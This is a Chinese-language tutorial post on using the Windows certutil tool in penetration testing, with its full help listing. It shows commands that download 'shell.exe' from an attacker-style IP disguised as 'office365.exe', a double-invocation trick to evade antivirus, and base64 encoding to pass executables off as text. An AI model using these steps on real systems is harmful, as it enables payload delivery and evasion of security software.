Stories

Detail Return Return

certutil工具的使用介紹 - Stories Detail

一、Certutil 介紹

Windows有一個名為CertUtil的內置程序,可用於在Windows中管理證書。使用此程序可以在Windows中安裝,備份,刪除,管理和執行與證書和證書存儲相關的各種功能。
CertUtil的一個特性是能夠從遠程URL下載證書或任何其他文件,因為certutil是windows自帶的exe。
使用語法 :
"certutil.exe -urlcache -split -f [URL] output.file"

-f
覆蓋現有文件。
有值的命令行選項。後面跟要下載的文件 url。
-split
保存到文件。
無值的命令行選項。加了的話就可以下載到當前路徑,不加就下載到了默認路徑。
-URLCache
顯示或刪除URL緩存條目。
無值的命令行選項。
但是此合法Windows服務現已被廣泛濫用於惡意用途。

滲透中主要利用其 下載、編碼、解碼、替代數據流 等功能。

這裏我首先在命令行用certutil -?查看一下certutil所有的參數,接下來就總結一下最常用的幾個關於certutil在內網滲透中的應用。

點擊查看代碼

C:\Users\123456\Desktop>certutil -?

動詞:
  -dump             -- 轉儲配置信息或文件
  -dumpPFX          -- 轉儲 PFX 結構
  -asn              -- 分析 ASN.1 文件

  -decodehex        -- 解碼十六進制編碼的文件
  -decode           -- 解碼 Base64 編碼的文件
  -encode           -- 將文件編碼為 Base64

  -deny             -- 拒絕掛起的申請
  -resubmit         -- 重新提交掛起的申請
  -setattributes    -- 為掛起申請設置屬性
  -setextension     -- 為掛起申請設置擴展
  -revoke           -- 吊銷證書
  -isvalid          -- 顯示當前證書部署

  -getconfig        -- 獲取默認配置字符串
  -ping             -- Ping Active Directory 證書服務申請接口
  -pingadmin        -- Ping Active Directory 證書服務管理接口
  -CAInfo           -- 顯示 CA 信息
  -ca.cert          -- 檢索 CA 的證書
  -ca.chain         -- 檢索 CA 的證書鏈
  -GetCRL           -- 獲取 CRL
  -CRL              -- 發佈新的 CRL [或僅增量 CRL]
  -shutdown         -- 關閉 Active Directory 證書服務

  -installCert      -- 安裝證書頒發機構證書
  -renewCert        -- 續訂證書頒發機構證書

  -schema           -- 轉儲證書架構
  -view             -- 轉儲證書視圖
  -db               -- 轉儲原始數據庫
  -deleterow        -- 刪除服務器數據庫行

  -backup           -- 備份 Active Directory 證書服務
  -backupDB         -- 備份 Active Directory 證書服務數據庫
  -backupKey        -- 備份 Active Directory 證書服務證書和私鑰
  -restore          -- 還原 Active Directory 證書服務
  -restoreDB        -- 還原 Active Directory 證書服務數據庫
  -restoreKey       -- 還原 Active Directory 證書服務證書和私鑰
  -importPFX        -- 導入證書和私鑰
  -dynamicfilelist  -- 顯示動態文件列表
  -databaselocations -- 顯示數據庫位置
  -hashfile         -- 通過文件生成並顯示加密哈希

  -store            -- 轉儲證書存儲
  -enumstore        -- 枚舉證書存儲
  -addstore         -- 將證書添加到存儲
  -delstore         -- 從存儲刪除證書
  -verifystore      -- 驗證存儲中的證書
  -repairstore      -- 修復密鑰關聯,或者更新證書屬性或密鑰安全描述符
  -viewstore        -- 轉儲證書存儲
  -viewdelstore     -- 從存儲刪除證書
  -UI               -- 調用 CryptUI
  -attest           -- 驗證密鑰證明請求

  -dsPublish        -- 將證書或 CRL 發佈到 Active Directory

  -ADTemplate       -- 顯示 AD 模板
  -Template         -- 顯示註冊策略模板
  -TemplateCAs      -- 顯示模板的 CA
  -CATemplates      -- 顯示 CA 的模板
  -SetCASites       -- 管理 CA 的站點名稱
  -enrollmentServerURL -- 顯示、添加或刪除與 CA 關聯的註冊服務器 URL
  -ADCA             -- 顯示 AD CA
  -CA               -- 顯示註冊策略 CA
  -Policy           -- 顯示註冊策略
  -PolicyCache      -- 顯示或刪除註冊策略緩存項目
  -CredStore        -- 顯示、添加或刪除憑據存儲項目
  -InstallDefaultTemplates -- 安裝默認的證書模板
  -URLCache         -- 顯示或刪除 URL 緩存項目
  -pulse            -- 以脈衝方式執行自動註冊事件或 NGC 任務
  -MachineInfo      -- 顯示 Active Directory 計算機對象信息
  -DCInfo           -- 顯示域控制器信息
  -EntInfo          -- 顯示企業信息
  -TCAInfo          -- 顯示 CA 信息
  -SCInfo           -- 顯示智能卡信息

  -SCRoots          -- 管理智能卡根證書

  -DeleteHelloContainer -- 刪除 Hello 登錄容器。
     ** 在使用此選項後, 用户需要註銷才能完成。**
  -verifykeys       -- 驗證公/私鑰集
  -verify           -- 驗證證書,CRL 或鏈
  -verifyCTL        -- 驗證 AuthRoot 或不允許的證書 CTL
  -syncWithWU       -- 與 Windows 更新同步
  -generateSSTFromWU -- 通過 Windows 更新生成 SST
  -generatePinRulesCTL -- 生成捆綁規則 CTL
  -downloadOcsp     -- 下載 OCSP 響應並寫入目錄
  -generateHpkpHeader -- 使用指定文件或目錄中的證書生成 HPKP 頭
  -flushCache       -- 刷新選定進程(例如 lsass.exe)中的指定緩存
  -addEccCurve      -- 添加 ECC 曲線
  -deleteEccCurve   -- 刪除 ECC 曲線
  -displayEccCurve  -- 顯示 ECC 曲線
  -sign             -- 重新簽名 CRL 或證書

  -vroot            -- 創建/刪除 Web 虛擬根和文件共享
  -vocsproot        -- 創建/刪除 OCSP Web Proxy 的 Web 虛擬根
  -addEnrollmentServer -- 添加註冊服務器應用程序
  -deleteEnrollmentServer -- 刪除註冊服務器應用程序
  -addPolicyServer  -- 添加策略服務器應用程序
  -deletePolicyServer -- 刪除策略服務器應用程序
  -oid              -- 顯示 ObjectId 或設置顯示名稱
  -error            -- 顯示錯誤代碼消息文本
  -getreg           -- 顯示註冊表值
  -setreg           -- 設置註冊表值
  -delreg           -- 刪除註冊表值

  -ImportKMS        -- 為密鑰存檔導入用户密鑰和證書到服務器數據庫
  -ImportCert       -- 將證書文件導入數據庫
  -GetKey           -- 檢索存檔的私鑰恢復 Blob,生成恢復腳本 或恢復存檔的密鑰
  -RecoverKey       -- 恢復存檔的私鑰
  -MergePFX         -- 合併 PFX 文件
  -ConvertEPF       -- 將 PFX 文件轉換為 EPF 文件

  -add-chain        -- (-AddChain) 添加證書鏈
  -add-pre-chain    -- (-AddPrechain) 添加預植證書鏈
  -get-sth          -- (-GetSTH) 獲取簽名樹頭
  -get-sth-consistency -- (-GetSTHConsistency) 獲取簽名樹頭更改
  -get-proof-by-hash -- (-GetProofByHash) 獲取哈希證明
  -get-entries      -- (-GetEntries) 獲取項
  -get-roots        -- (-GetRoots) 獲取根
  -get-entry-and-proof -- (-GetEntryAndProof) 獲取項和證明
  -VerifyCT         -- 驗證證書 SCT
  -?                -- 顯示該用法消息


CertUtil -?              -- 顯示動詞列表(命名列表)
CertUtil -dump -?        -- 顯示 "dump" 動詞的幫助文本
CertUtil -v -?           -- 顯示所有動詞的所有幫助文本

CertUtil: -? 命令成功完成。

二、常用功能介紹

2.1 下載遠程文件

在 cmd 中將文件從網址上下載下來,保存為123.txt
C:\Users\12345\Desktop>certutil.exe -urlcache -split -f "https://hackers.home/content.txt" 123.txt

如果超時沒有操作的話就會顯示拒絕訪問
這裏有兩種方法對殺軟進行certutil下載繞過,本質都是執行兩次certutil
第一種方法是先執行一個單獨的certutil,然後再執行下載exe的命令,可以看到這裏已經能夠成功下載
certutil & certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe certutil | certutil -urlcache -split -f http://192.168.206.130/shell.exe office365.exe

2.2 將本地程序搭建為http服務器

將本地可執行程序,搭建為一個http服務器,端口為8000,並執行該服務

http://192.168.206.130:8000

C:\Users\12345\Desktop>123.exe -python -m http.server 8000
C:\Users\12345\Desktop>python -m http.server 8000
certutil -urlcache -split -f http://192.168.206.130:8000/123.exe

2.3 使用CertUtil + Base64來繞過安全軟件

Certutil 包含一個編碼參數(編碼),這有助於在 Base64 中編碼文件的內容。可以使用 certutil 對可執行文件進行編碼,然後傳輸編碼後的數據,在接收機上對其進行解碼。
常用與sql注入,對任意文件進行Base64編碼,使惡意代碼樣本看起來像是無害的文本文件,然後使用CertUtil.exe下載後對其進行解碼。下載了文本文件使用“Certutil.exe -decode”命令將Base64編碼文件解碼為可執行文件。

將123.exe編碼為123.txt
C:\Users\12345\Desktop>certutil.exe -encode 123.exe 123.txt

將123.txt解碼為123.exe
C:\Users\12345\Desktop>certutil.exe -decode 123.txt 123.exe

更多詳解參考--->
https://mrwq.github.io/aggregate-paper/butian/certutil詳解/

Add a new Comments

Some HTML is okay.